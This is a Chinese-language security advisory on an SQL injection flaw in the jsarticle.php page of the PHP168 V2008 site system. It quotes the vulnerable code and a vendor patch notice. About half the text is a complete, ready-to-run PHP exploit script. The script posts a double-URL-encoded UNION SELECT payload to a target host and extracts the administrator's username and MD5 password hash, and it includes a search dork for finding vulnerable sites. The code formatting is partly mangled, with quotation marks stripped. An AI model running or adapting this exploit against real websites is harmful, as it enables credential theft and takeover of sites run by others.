PHP168网站管理系统jsarticle.php页面存在SQL注射漏洞
添加时间:
2008-10-04
系统编号:
WAVDB-01233
影响版本:
PHP168 V2008
程序介绍:
漏洞利用:
解决方案:
厂商补丁:
PHP168
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.php168.com
信息来源:
<*来源:Wolves Security Team*>
2008-10-04
系统编号:
WAVDB-01233
影响版本:
PHP168 V2008
程序介绍:
PHP168整站是PHP领域当前功能最强大的建站系统,代码全部开源,可极其方便的进行二次开发,所有功能模块可以自由安装与删除,个人用户完全免费使用。
漏洞分析:
在其产品中发现了一个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。
在系统的jsarticle.php中,使用了urldecode用来解码用户提交的数据,但是在使用该函数之后并没有做进一步的有效性验证,从而导致精心构造的数据可以饶过系统的过滤以及php的Magic Quote保护,漏洞部分代码如下:
- elseif($type==
- like
- )
- {
- $SQL.= AND aid!=
- $id
- ;
- if(!$keyword)
- {
- extract($db->get_one( SELECT keywords AS keyword FROM {$pre}article WHERE aid=
- $id
- ));
- }
- if($keyword){
- $SQL.= AND ( ;
- $keyword=urldecode($keyword);
- $detail=explode( ,$keyword);
- unset($detail2);
- foreach( $detail AS $key=>$value){
- $detail2[]=” BINARY title LIKE ‘%$value%’ “;
- }
- $str=implode(” OR “,$detail2);
- $SQL.=” $str ) “;
- }else{
- $SQL.=” AND 0 “;
- }
- $ORDER=’ list ‘;
- }
- if(!$webdb[viewNoPassArticle]){
- $SQL.=’ AND yz=1 ‘;
- }
- $SQL=” WHERE $SQL ORDER BY $ORDER DESC LIMIT $rows”;
- $which=’*
- ;
- $listdb=list_article($SQL,$which,$leng);
keyword被urldecode然后进入list_article函数,提交%2527将导致一个’进入SQL查询
在artic_function.php中的list_article函数如下
- function list_article($SQL,$which=
- *
- ,$leng=40){
- global $db,$pre;
- $query=$db->query( SELECT $which FROM {$pre}article $SQL );
- while( $rs=$db->fetch_array($query) ){
- if($rs[mid]){
- $_rss=$db->get_one(”SELECT * FROM {$pre}article_content_{$rs[mid]} WHERE aid=’$rs[aid]‘ LIMIT 1″);
- $_rss && $rs=$rs+$_rss;
- }
- $rs[content]=@preg_replace(’/<([^<]*)>/is’,” ,$rs[content]); //把HTML代码过滤掉
- //如果文章有短标题,将以此显示在文章列表
- if($rs[smalltitle]){
- $title=$rs[smalltitle];
- }else{
- $title=$rs[title];
- }
- $rs[title]=get_word($rs[full_title]=$title,$leng);
- if($rs[titlecolor]||$rs[fonttype]){
- $titlecolor=$rs[titlecolor]?”color:$rs[titlecolor];”:”;
- $font_weight=$rs[fonttype]==1?’font-weight:bold;’:”;
- $rs[title]=”$rs[title]“;
- }
- $rs[posttime]=date(”Y-m-d”,$rs[full_posttime]=$rs[posttime]);
- if($rs[picurl]){
- $rs[picurl]=tempdir($rs[picurl]);
- }
- $listdb[]=$rs;
- }
- return $listdb;
- }
直接进入SQl查询,导致注射漏洞的产生。
漏洞利用:
- #!/usr/bin/php
- <?php
- print_r(
- +---------------------------------------------------------------------------+
- Php168 v2008 SQL injection / admin credentials disclosure exploit
- by puret_t
- mail: puretot at gmail dot com
- team: http://www.wolvez.org
- dork: Powered by PHP168 V2008
- +---------------------------------------------------------------------------+
- );
- /**
- * works regardless of php.ini settings
- */
- if ($argc < 3) {
- print_r(
- +---------------------------------------------------------------------------+
- Usage: php
- .$argv[0].
- host path
- host: target server (ip/hostname)
- path: path to php168
- Example:
- php
- .$argv[0].
- localhost /php168/
- +---------------------------------------------------------------------------+
- );
- exit;
- }
- error_reporting(7);
- ini_set(
- max_execution_time
- , 0);
- $host = $argv[1];
- $path = $argv[2];
- $resp = send();
- preg_match(
- /([a-z0-9]+)_article/
- , $resp, $pre);
- if ($pre)
- $resp = send();
- else
- exit( Exploit Failed!\n );
- preg_match(
- /content_([\S]+)\|([a-z0-9]{32})/
- , $resp, $pwd);
- if ($pwd)
- exit( Expoilt Success!\nadmin:\t$pwd[1]\nPassword(md5):\t$pwd[2]\n );
- else
- exit( Exploit Failed!\n );
- function send()
- {
- global $host, $path, $pre;
- if ($pre)
- $cmd =
- type=like&keyword=%2527)/**/UNION/**/SELECT/**/1,1,1,1,CONCAT(username,%2527|%2527,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/
- .$pre[1].
- _members/**/WHERE/**/uid=1%23
- ;
- else
- $cmd =
- type=like&keyword=%2527
- ;
- $message = POST .$path. jsarticle.php HTTP/1.1\r\n ;
- $message .= Accept: */*\r\n ;
- $message .= Accept-Language: zh-cn\r\n ;
- $message .= Content-Type: application/x-www-form-urlencoded\r\n ;
- $message .= User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n ;
- $message .= Host: $host\r\n ;
- $message .= Content-Length: .strlen($cmd). \r\n ;
- $message .= Connection: Close\r\n\r\n ;
- $message .= $cmd;
- $fp = fsockopen($host, 80);
- fputs($fp, $message);
- $resp =
- ;
- while ($fp && !feof($fp))
- $resp .= fread($fp, 1024);
- return $resp;
- }
- ?>
解决方案:
厂商补丁:
PHP168
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.php168.com
信息来源:
<*来源:Wolves Security Team*>